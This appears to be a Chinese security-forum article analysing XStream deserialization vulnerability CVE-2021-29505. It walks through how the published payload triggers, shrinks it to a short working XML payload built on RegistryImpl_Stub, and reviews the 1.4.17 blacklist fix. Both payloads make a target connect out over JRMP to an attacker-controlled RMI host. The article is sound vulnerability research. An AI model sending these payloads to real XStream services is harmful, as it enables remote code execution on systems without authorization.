奇安信攻防社区-XStream CVE-2021-29505分析与简化

XStream CVE-2021-29505分析与简化

简介
--

最近有点其他事，很久没有更新了。正好看到XStream又发布最新的漏洞通告了，而且还有很多人复现，维度缺少分析文章。而且XStream官网公布的payload貌似不能正常使用，者激发了我的好奇心。恰好前段时间分析微某ao积累了一点点XStream分析经验。

漏洞分析
----

我们首先明确一点，XStream是一个序列化存储对象的库，类似于java原生的序列化。所以Xstream可以用在任何地方。很多公众号通过web接口去复现xstream的方法是及其不负责的，很让人容易产生错觉。

Xstream新增了很多功能，例如可以序列化未继承自`java.io.serializable`接口的类的对象。其他功能均与java原生的序列化功能一样，如果xstream在反序列化的时候发现还原继承自`java.io.serializable`的类，则同样会调用对象的`readObject`方法。

> Ysoserial所有的payload均可以转换为xstream格式

所以反序列化漏洞的特点在于类的readObject方法，分析的时候重点看readObject方法都做了什么操作。

目前xstream的修复方案是，没有修复方案，就新增几个黑名单。但是我们知道，xstream可以反序列化任意文件，所以gadget相对好挖

cve-2021-29505的payload如下所示，

```php
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                    <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                      <names>
                        <string>aa</string>
                        <string>aa</string>
                      </names>
                      <ctx>
                        <environment/>
                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                          <java.rmi.server.RemoteObject>
                            <string>UnicastRef</string>
                            <string>ip2</string>
                            <int>1099</int>
                            <long>0</long>
                            <int>0</int>
                            <short>0</short>
                            <boolean>false</boolean>
                          </java.rmi.server.RemoteObject>
                        </registry>
                        <host>ip2</host>
                        <port>1099</port>
                      </ctx>
                    </candidates>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

当然，这段从官网上摘抄的poc是无法使用的，原因我们一会再讲，我们主要说一下xstream是怎么存储一个对象的。

如果序列化自一个对象，则xml的开始标签为对象的类的名称，如果该类存在readObject方法，则标签内注明serialization='custom'。在这里，xstream是不负责被序列化的类的一致性检测（suid）的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。

与java原生反序列化存储格式相同，xml标签中，首先存储父类的字段信息，然后再存储子类的。顺序则按照类声明字段的顺序。每一层，都会注明子类的全限定名。在对象中，每个xml标签对应着对象的字段。

xstream为了不过多干涉用户的序列化工作，又为了安全性着想，只弄了一个简简单单的黑名单。但是xstream的官方建议是，自己写黑名单类！1.4.16的黑名单类如下，两个都是，也没必要搞清楚了，知道是过滤就行了。

![图片](https://shs3.b.qianxin.com/butian_public/fefbd1c0830c3f982ddd3c4d3677dd6ea.jpg)![图片](https://shs3.b.qianxin.com/butian_public/f4133841f1498801a2ffa5e51635b2689.jpg)

好了，现在基础知识我们知道了。下面开始分析上面的poc，

`java.util.PriorityQueue`类顾名思义，维持一个有序队列。为了保证反序列化后的队列是有序的，所以在无序地还原完所有元素后，调用`heapify`方法，将目前无序的队列变成有序的。在这里java为了给我们很大的自由度，规定只要继承自Compare接口的类都可以用来做排序算法。（思考一下是不是与c#的typeConfused gadget类似）

一般`java.util.PriorityQueue`类的反序列化出发点都会在`heapify`方法中，也就是调整元素的顺序。但是上面的poc显然并不是这样触发的，原因是poc中根本就没有还原compare字段。

按照我刚才的思路，找poc中类的readObject方法去分析，发现JRMP最终是由`sun.rmi.registry.RegistryImpl_Stub`去处理。下面我们看看相关代码

要还原RegistryImpl\_Stub对象，按照反序列化先后顺序，首先还原父类的字段信息，也就是`java.rmi.server.RemoteObject`，在poc中已经写明。然后调用`java.rmi.server.RemoteObject`的readObject方法

![图片](https://shs3.b.qianxin.com/butian_public/f773bcdcd5407eea6d41de3a8c4976774.jpg)

首先实例化UnicastRef对象，然后调用UnicastRef对象的readExternal方法，最终实际调用的代码如下![图片](https://shs3.b.qianxin.com/butian_public/f38660ef2351a432cccf6252647abd96a.jpg)

看到`DGCClient.registerRefs`，一切就简单明了。在先知上的 针对RMI服务的九重攻击 - 下中已经分析过了。部分截图如下

![图片](https://shs3.b.qianxin.com/butian_public/f1e4b1166f251eba8a517c5ae085dd4f7.jpg)

既然我们已经知道了触发流程，那么来简化一下poc吧，删掉不需要的地方，只保留`sun.rmi.registry.RegistryImpl_Stub`部分，注意别只保留`java.rmi.server.RemoteObject`部分，因为`java.rmi.server.RemoteObject`是抽象类，不可以被直接实例化的。反序列化也要遵守JVM的规定。至于为什么原始payload这么长，而实际paload这么短，我个人猜测洞主可能是通过某些自己写的工具自动化分析生成导致。

```php
<sun.rmi.registry.RegistryImpl_Stub serialization="custom"> 
  <java.rmi.server.RemoteObject> 
    <string>UnicastRef</string>  
    <string>127.0.0.1</string>  
    <int>8001</int>  
    <long>0</long>  
    <int>0</int>  
    <long>0</long>  
    <short>0</short>  
    <boolean>false</boolean> 
  </java.rmi.server.RemoteObject> 
</sun.rmi.registry.RegistryImpl_Stub>
```

这个漏洞是利用JRMP连接中，使用java反序列化协议传输数据造成的反序列化漏洞。也就是说，你的目标机中要有相关gadget

触发一下poc![图片](https://shs3.b.qianxin.com/butian_public/fa717b5cb9b4a54bf91f137e7f86d19b9.jpg)

修复分析
----

我们看一下xstream 1.4.17的黑名单变化![图片](https://shs3.b.qianxin.com/butian_public/f669295a614312002ef4e0de3c7461b96.jpg)

将与rmi有关的类名，全部加入黑名单中。但是治标不治本，weblogic包中也有很多关于rmi的部分哟，祝大家挖的愉快

**文章转载于”宽字节安全”公众号，已取得转载授权。**

发表于 2021-06-02 09:37:56
阅读 ( 4257 )
分类：漏洞分析

XStream CVE-2021-29505分析与简化

0 条评论